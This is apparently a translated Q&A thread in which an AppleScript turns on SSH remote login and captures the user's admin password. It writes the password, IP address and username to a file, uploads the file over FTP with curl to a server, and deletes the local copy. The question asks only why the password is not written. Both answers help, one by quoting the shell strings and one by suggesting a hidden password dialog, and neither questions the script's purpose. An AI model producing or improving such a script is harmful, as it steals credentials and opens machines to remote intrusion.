Applescript不会发送pword变量

时间:2013-08-09 16:08:39

标签: applescript

我试图将3个变量传递给发送到服务器的文本文件,但是我的一个变量(pword)没有被发送。

以下是我的代码:

    set pword to do shell script "echo" with administrator privileges

##Enable remote login
do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of (system info)) password pword with administrator privileges

##Get ip
set tIP to do shell script "ifconfig en0|grep 'inet '|cut -d ' ' -f 2"

##Get username
set userName to short user name of (system info)

##Create text file with user data
do shell script "echo " & tIP & userName & pword & ">> /Users/" & userName & "/Documents/tests.txt"

##Create path where user data is stored
set thePath to "/Users/" & userName & "/Documents/tests.txt"

##Send the data to the server
do shell script "curl -T " & thePath & " ftp://username:password@server"

##Delete the text file
do shell script "rm /Users/" & userName & "/Documents/tests.txt"

知道为什么只有userName和tIP被写入文本文件而不是pword?

感谢。

2 个答案:

答案 0 :(得分:1)

当你向shell发送东西时,你必须引用它们以确保它们作为一个整体被发送...以防它们有空格或其他东西,其中shell将它们误认为是单独的而不是整体。所以我会尝试这个...

do shell script "echo " & quoted form of (tIP & userName & pword) & " >> " & quoted form of ("/Users/" & userName & "/Documents/tests.txt")

请注意,您的其他一些代码也会受益于“引用形式”,以确保您的代码能够适应未来发展。无论是否需要,使用它都是很好的编码实践。

答案 1 :(得分:1)

要获取密码,您应该使用:

set pword to text returned of (display dialog "Enter Password:" default answer "" with hidden answer)

Bash很棒,但是除非你打算把这个整个事情做成一个bash脚本(它看起来你已经完成了),你也可以使用一些AppleScript的特权。